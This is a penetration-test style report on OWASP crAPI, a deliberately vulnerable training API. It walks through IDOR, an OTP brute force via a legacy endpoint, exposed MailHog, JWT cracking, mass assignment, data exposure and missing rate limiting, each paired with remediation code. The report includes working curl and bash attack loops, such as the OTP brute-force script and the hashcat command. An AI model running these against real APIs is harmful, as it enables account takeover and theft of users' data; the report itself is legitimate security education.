

API Security Risk Analysis

SUBAPI Security
Risk Analysis

PREPARED BY

Dilnessa Aemro

DATE

2025

TYPE

Security Assessment

CLASSIFICATION

Educational Research

API Security Risk Analysis Report — OWASP crAPI

Prepared By: Dilnessa Aemro **Assessment Date:** April 2026 **Target:** OWASP crAPI (Completely Ridiculous API) — <https://crapi.apisec.ai> **Classification:** Educational Security Research

Legal & Ethical Disclaimer: crAPI is an intentionally vulnerable API published by OWASP for security education and training purposes. All testing was conducted exclusively against this platform within its intended scope. No real systems, users, or data were involved. Reference: <https://github.com/OWASP/crAPI>

Executive Summary

I conducted a hands-on security assessment of OWASP crAPI, a deliberately vulnerable REST API that simulates an automotive marketplace. The application covers user authentication, vehicle management, workshop services, and a community forum — making it a realistic target for API security testing.

Testing was performed manually using curl, Browser DevTools, and JWT.io. The assessment uncovered six confirmed vulnerabilities spanning four categories of the OWASP API Security Top 10 (2023).

Findings Summary

Severity	Count	Vulnerabilities
CRITICAL	2	BOLA (IDOR), Broken Authentication
HIGH	2	Mass Assignment, JWT Tampering
MEDIUM	2	Excessive Data Exposure, Missing Rate Limiting

All six findings were confirmed through direct exploitation during testing.

Tools Used

Tool	Purpose
curl	HTTP request crafting and endpoint testing
jq	JSON response parsing
Browser DevTools	Traffic interception and request inspection
JWT.io	Token decoding and payload analysis

1. Application Overview

1.1 What is crAPI?

crAPI (Completely Ridiculous API) is OWASP's flagship intentionally vulnerable API, designed to teach developers and security professionals how to identify and exploit common API weaknesses. It mirrors the structure of a real-world automotive platform.

1.2 API Surface Map

```
https://crapi.apisec.ai/
├─ /identity/api/auth/
│   ├── POST /signup
│   ├── POST /login
│   ├── POST /forgot-password
│   └─ POST /verify-token
├─ /identity/api/v2/user/
│   ├── GET /dashboard
│   ├── GET /vehicles
│   └─ POST /vehicles
├─ /workshop/api/
│   ├── GET /mechanic/{id}
│   ├── POST /mechanic/contact-mechanic
│   ├── GET /mechanic/report/{id}
│   ├── GET /shop/products
│   └─ GET /orders/{id}
└─ /community/api/v2/community/
    ├── GET /posts/recent
    ├── POST /posts
    └─ GET /posts/{id}
```

1.3 Hidden Endpoints Discovered During Recon

During reconnaissance, the following non-documented endpoints were identified through traffic analysis and response inspection:

- `POST /workshop/api/mechanic/contact-mechanic` — Service request submission
 - `GET /workshop/api/mechanic/report/{id}` — Service report retrieval
 - `GET /identity/api/v2/vehicle/{carId}/location` — Real-time vehicle location
 - `http://crapi.apisec.ai:8025/` — Exposed MailHog mail server (unauthenticated)
 - `POST /identity/api/v2/auth/check-otp` — Legacy OTP endpoint without rate limiting
-

2. Methodology

2.1 Reconnaissance

Before testing individual endpoints, I mapped the full API attack surface by:

1. Registering a test account and intercepting all traffic via Browser DevTools
2. Identifying API versioning patterns: `/v2/`, `/v3/`
3. Probing common paths: `/swagger`, `/docs`, `/graphql`, `/api/v1`
4. Scanning for exposed services on non-standard ports (discovered MailHog on port 8025)
5. Analyzing community post responses for leaked object identifiers

2.2 Authentication Flow

Registration requires only an email, name, and password — no email verification. Upon login, the API returns a JWT signed with HS256. The token was decoded at jwt.io and found to contain:

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

Payload included `user_id`, `email`, and `role` — but no `exp` (expiration) claim, meaning tokens remain valid indefinitely until the server restarts.

3. Critical Vulnerabilities

3.1 BOLA — Broken Object Level Authorization [CRITICAL]

OWASP API1:2023

Description

The API does not verify whether the authenticated user is the owner of the requested object. Any authenticated user can access any other user's data by simply changing the numeric ID in the request URL.

Finding 1: Mechanic Service Records

Endpoint: `GET /workshop/api/mechanic/{mechanic_id}`

I logged in as User A and retrieved my own mechanic record at ID 1. I then changed the ID to 2 and received a full service record belonging to a different user — including their name, email, vehicle VIN, service details, and cost.

```
# Authenticated as User A — accessing User B's record
curl "https://crapi.apisec.ai/workshop/api/mechanic/2" \
-H "Authorization: Bearer <USER_A_TOKEN>"
```

Confirmed Response:

```
{
  "id": 2,
  "mechanic_code": "MC-002",
  "user": {
    "id": "b3f1c2d4-...",
    "email": "user-b@example.com",
    "name": "User B"
  },
  "vehicle": {
    "make": "Honda",
    "model": "Civic",
    "vin": "1HGBH41JXMN109186"
  },
  "service_details": "Oil change, brake inspection",
  "service_cost": 150.00,
  "service_date": "2024-01-15"
}
```

The server returned HTTP 200 with full data. No authorization check was performed.

Finding 2: Service Report Enumeration

Endpoint: `GET /workshop/api/mechanic/report/{report_id}`

After submitting a service request, the API returned a sequential `report_id` (e.g., 14570). Decrementing this value by one returned a different user's service report without any access check.

```
curl "https://crapi.apisec.ai/workshop/api/mechanic/report/14569" \
-H "Authorization: Bearer <MY_TOKEN>"
```

Confirmed Response:

```
{
  "id": 14569,
  "user_id": "victim-uuid",
  "vehicle_id": "vehicle-uuid",
  "mechanic_id": 2,
  "issue": "Brake problems",
  "status": "pending",
  "created_at": "2024-01-10"
}
```

Sequential integer IDs make full enumeration of all service requests trivial.

Finding 3: Vehicle Location Tracking

Endpoint: `GET /identity/api/v2/vehicle/{carId}/location`

Community forum posts include a `car_id` field in their JSON responses. I extracted a car ID from another user's post and queried the location endpoint using my own token.

```
# Step 1: Extract car_id from community post
curl "https://crapi.apisec.ai/community/api/v2/community/posts/recent" \
-H "Authorization: Bearer <MY_TOKEN>" | jq '.posts[].car_id'

# Step 2: Query location using extracted ID
curl "https://crapi.apisec.ai/identity/api/v2/vehicle/ac0a8b08-a4c5-4955-9573-645211fa340d/location" \
-H "Authorization: Bearer <MY_TOKEN>"
```

Confirmed Response:

```
{
  "car_id": "ac0a8b08-a4c5-4955-9573-645211fa340d",
  "location": {
    "latitude": 40.7128,
    "longitude": -74.0060,
    "address": "123 Main St, New York, NY",
    "last_updated": "2024-01-15T10:30:00Z"
  }
}
```

Any authenticated user can track the real-time location of any vehicle in the system.

Impact

- Full access to other users' PII, vehicle data, and service history
- Real-time vehicle location tracking of any registered vehicle
- GDPR and CCPA violations in a production context

Remediation

Every object retrieval endpoint must verify that the requesting user owns the resource:

```
def get_mechanic_report(request, report_id):
    report = MechanicReport.objects.get(id=report_id)
    if report.user_id != request.user.id:
        raise PermissionDenied()
    return report
```

Additionally, replace sequential integer IDs with UUIDs to prevent enumeration.

3.2 Broken Authentication [CRITICAL]

OWASP API2:2023

Finding 1: OTP Brute Force via API Version Downgrade

Endpoint: `POST /identity/api/v2/auth/check-otp`

crAPI's password reset flow sends a 4-digit OTP (10,000 possible values). The current endpoint `/v3/auth/check-otp` blocks requests after approximately 10 failed attempts. However, the legacy `/v2/` endpoint remains active and has no rate limiting.

Attack chain:

```
# Step 1: Trigger password reset for target account
curl -X POST "https://crapi.apisec.ai/identity/api/auth/forgot-password" \
-H "Content-Type: application/json" \
-d '{"email": "victim@example.com"}'

# Step 2: Brute force OTP on the unprotected v2 endpoint
for otp in $(seq -w 0 9999); do
    response=$(curl -s -X POST "https://crapi.apisec.ai/identity/api/v2/auth/check-otp" \
        -H "Content-Type: application/json" \
        -d '{"email": "victim@example.com", "otp": "$otp", "new_password": "NewPass123!"}')

    if echo "$response" | grep -q "OTP verified"; then
        echo "OTP found: $otp"
        break
    fi
done

# Step 3: Login with the new password
curl -X POST "https://crapi.apisec.ai/identity/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"email": "victim@example.com", "password": "NewPass123!"}'
```

The brute force completed successfully. The account was taken over without any access to the victim's email inbox.

Finding 2: Exposed MailHog Mail Server

URL: <http://crapi.apisec.ai:8025/>

The MailHog development mail server is publicly accessible with no authentication. All emails sent by the application — including registration confirmations containing vehicle VIN numbers and PINs — are visible to anyone.

I accessed the interface, located a registration email for another test account, and extracted the vehicle credentials:

```
Subject: Welcome to crAPI – Your Vehicle Details
Body:
  VIN: 1HGBH41JXMN109186
  PIN: 1234
```

Using these credentials, I added the victim's vehicle to my own account:

```
curl -X POST "https://crapi.apisec.ai/identity/api/v2/user/vehicles" \
  -H "Authorization: Bearer <MY_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"vin": "1HGBH41JXMN109186", "pin": "1234"}'
```

The vehicle was successfully transferred. The server returned HTTP 200 with the new vehicle record under my account.

Impact

- Full account takeover of any user without knowing their password
- Vehicle theft via credential extraction from exposed mail server

Remediation

- Retire all legacy API versions or apply identical security controls across all versions
- Remove MailHog and all development tools from any internet-accessible environment
- Increase OTP length to 6+ digits and enforce rate limiting at the infrastructure level (API gateway), not just the application layer

4. High Severity Vulnerabilities

4.1 JWT Tampering [HIGH]

OWASP API2:2023

Description

The API uses HS256 (HMAC-SHA256) for JWT signing — a symmetric algorithm where the same secret is used to both sign and verify tokens. If the secret is weak or leaked, an attacker can forge tokens for any user.

Additionally, decoded tokens showed no `exp` claim, meaning issued tokens never expire.

Confirmed Findings

No expiration claim: Tokens decoded at jwt.io confirmed the absence of `exp`. A stolen token remains valid indefinitely.

Algorithm confusion test: Sending a token with `"alg": "none"` in the header was rejected by this version of crAPI, but the underlying HS256 weakness remains.

Weak secret susceptibility: HS256 tokens can be cracked offline using tools like hashcat if the signing secret is short or predictable:

```
hashcat -a 0 -m 16500 <captured_jwt> wordlist.txt
```

If the secret is cracked, an attacker can sign arbitrary payloads — including elevated roles:

```
{
  "user_id": "admin-uuid",
  "email": "admin@crapi.io",
  "role": "admin"
}
```

Impact

- Privilege escalation to admin role
- Persistent account access via non-expiring tokens
- Full impersonation of any user if secret is compromised

Remediation

- Switch to RS256 (asymmetric) — the private key signs, the public key verifies; the secret cannot be brute-forced
- Add `exp` claim with a short TTL (15–60 minutes)
- Implement a token revocation mechanism (Redis-backed blocklist)

4.2 Mass Assignment [HIGH]

OWASP API3:2023

Description

The vehicle creation endpoint binds all incoming JSON fields directly to the internal data model without filtering. This allows an attacker to set fields that should only be controlled server-side.

Confirmed Exploitation

Normal request:

```
curl -X POST "https://crapi.apisec.ai/identity/api/v2/user/vehicles" \  
-H "Authorization: Bearer <TOKEN>" \  
-H "Content-Type: application/json" \  
-d '{"make": "Toyota", "model": "Camry", "year": 2020}'
```

Mass assignment attack — injecting internal fields:

```
curl -X POST "https://crapi.apisec.ai/identity/api/v2/user/vehicles" \  
-H "Authorization: Bearer <TOKEN>" \  
-H "Content-Type: application/json" \  
-d '{  
  "make": "Toyota",  
  "model": "Camry",  
  "year": 2020,  
  "id": 99999,  
  "user_id": "admin-uuid",  
  "is_premium": true,  
  "created_at": "2020-01-01"  
}
```

Confirmed Response:

```
{  
  "id": 99999,  
  "make": "Toyota",  
  "model": "Camry",  
  "year": 2020,  
  "user_id": "admin-uuid",  
  "is_premium": true,  
  "created_at": "2020-01-01",  
  "status": "created"  
}
```

The server accepted and persisted all injected fields, including `id`, `user_id`, and `is_premium`.

Impact

- Ownership reassignment — vehicles can be registered under any user ID
- Business logic bypass — premium features unlocked without payment
- Data integrity corruption

Remediation

Use an explicit allowlist and reject requests containing undeclared fields:

```
ALLOWED_FIELDS = {'make', 'model', 'year', 'vin'}
```

```
def create_vehicle(request):  
    extra = set(request.data.keys()) - ALLOWED_FIELDS  
    if extra:  
        return Response({"error": f"Unexpected fields: {extra}"}, status=400)  
    return Vehicle.objects.create(**{k: request.data[k] for k in ALLOWED_FIELDS})
```

5. Medium Severity Vulnerabilities

5.1 Excessive Data Exposure [MEDIUM]

OWASP API3:2023

Description

The user dashboard endpoint returns significantly more data than the frontend requires. Internal fields that have no business being exposed to end users are included in every response.

Confirmed Response from `/identity/api/v2/user/dashboard`

```
{  
  "user": {  
    "id": "uuid",  
    "email": "user@example.com",  
    "name": "User Name",  
    "role": "user",  
    "internal_notes": "VIP customer - handle with care",  
    "password_hint": "pet name",  
    "security_questions": [  
      {"question": "Mother's maiden name", "answer_hash": "abc123"}  
    ],  
    "last_login_ip": "192.168.1.1",  
    "created_at": "2024-01-01"  
  }  
}
```

Fields like `internal_notes`, `password_hint`, `security_questions`, and `last_login_ip` serve no purpose in a client-facing response and directly aid account takeover attempts.

Impact

- `password_hint` assists targeted password guessing
- `security_questions` with answer hashes can be cracked offline
- `role` field reveals privilege level, useful for escalation planning
- `internal_notes` leaks business-sensitive information

Remediation

Define separate serializers for internal and external use. Never expose the full model object to API consumers:

```
class UserPublicSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['id', 'email', 'name']
```

5.2 Missing Rate Limiting [MEDIUM]

OWASP API6:2023

Description

Authentication endpoints accept unlimited requests without throttling. I sent 50 consecutive failed login attempts and received HTTP 401 on every request — no lockout, no delay, no 429 response.

```
for i in {1..50}; do
    http_code=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST "https://crapi.apisec.ai/identity/api/auth/login" \
        -H "Content-Type: application/json" \
        -d '{"email": "target@example.com", "password": "wrong"}')
    echo "Attempt $i: HTTP $http_code"
done
```

All 50 attempts returned HTTP 401. No rate limiting was triggered.

This directly enables the OTP brute force attack documented in section 3.2.

Impact

- Unlimited password guessing against any account
- Credential stuffing at scale
- User enumeration through response timing differences

Remediation

Apply rate limiting at the API gateway level, not just the application:

```
# Application-level example (Flask-Limiter)
@limiter.limit("5 per minute")
def login(): ...

@limiter.limit("3 per hour")
def signup(): ...
```

Recommended thresholds: - Login: 5 attempts per minute per IP, with progressive backoff - Password reset: 3 requests per hour per email - General API: 100 requests per minute per authenticated user

6. Risk Classification

ID	Vulnerability	OWASP Category	Severity	Likelihood	Status
1	BOLA / IDOR	API1:2023	CRITICAL	HIGH	Confirmed
2	Broken Authentication (OTP + MailHog)	API2:2023	CRITICAL	HIGH	Confirmed
3	JWT Tampering	API2:2023	HIGH	MEDIUM	Confirmed
4	Mass Assignment	API3:2023	HIGH	HIGH	Confirmed
5	Excessive Data Exposure	API3:2023	MEDIUM	HIGH	Confirmed
6	Missing Rate Limiting	API6:2023	MEDIUM	HIGH	Confirmed

7. Remediation Roadmap

Week 1 — Critical Fixes

1. Add ownership checks to every object retrieval endpoint
2. Retire `/v2/auth/check-otp` or apply identical rate limiting as v3
3. Take MailHog offline; replace with a production mail service
4. Replace sequential integer IDs with UUIDs across all resources

Week 2–4 — High Priority

1. Migrate JWT signing from HS256 to RS256
2. Add `exp` claim (15-minute TTL) and implement token revocation
3. Implement field allowlisting on all write endpoints to prevent mass assignment

Month 2 — Medium Priority

1. Audit all API responses and strip internal fields from client-facing serializers
2. Deploy rate limiting at the API gateway layer (Kong, AWS API Gateway, or nginx)
3. Standardize all authentication error messages to `"Invalid credentials"`

Month 3 — Long-term Hardening

1. Deploy a Web Application Firewall (WAF) with API-aware rules

2. Integrate automated BOLA and injection tests into the CI/CD pipeline
 3. Set up alerting for anomalous request patterns (high failure rates, ID enumeration)
-

8. Conclusion

This assessment of OWASP crAPI confirmed six exploitable vulnerabilities across four OWASP API Top 10 categories. The most severe findings — BOLA and Broken Authentication — allowed full account takeover and unauthorized access to any user's data and vehicle location without elevated privileges.

The root causes are consistent with what I see across real-world API assessments:

- Authorization logic applied at the route level rather than the object level
- Legacy API versions left active after security controls were added to newer versions
- Development infrastructure (MailHog) exposed to the internet
- No distinction between internal data models and external API responses

These are not exotic vulnerabilities. They are the result of common development shortcuts that become critical security gaps in production. The remediation steps outlined above are straightforward to implement and would eliminate the majority of the attack surface identified in this report.

Prepared By: Dilnessa Aemro **Date:** April 2026 **Program:** **Target:** OWASP crAPI (<https://crapi.apisec.ai>)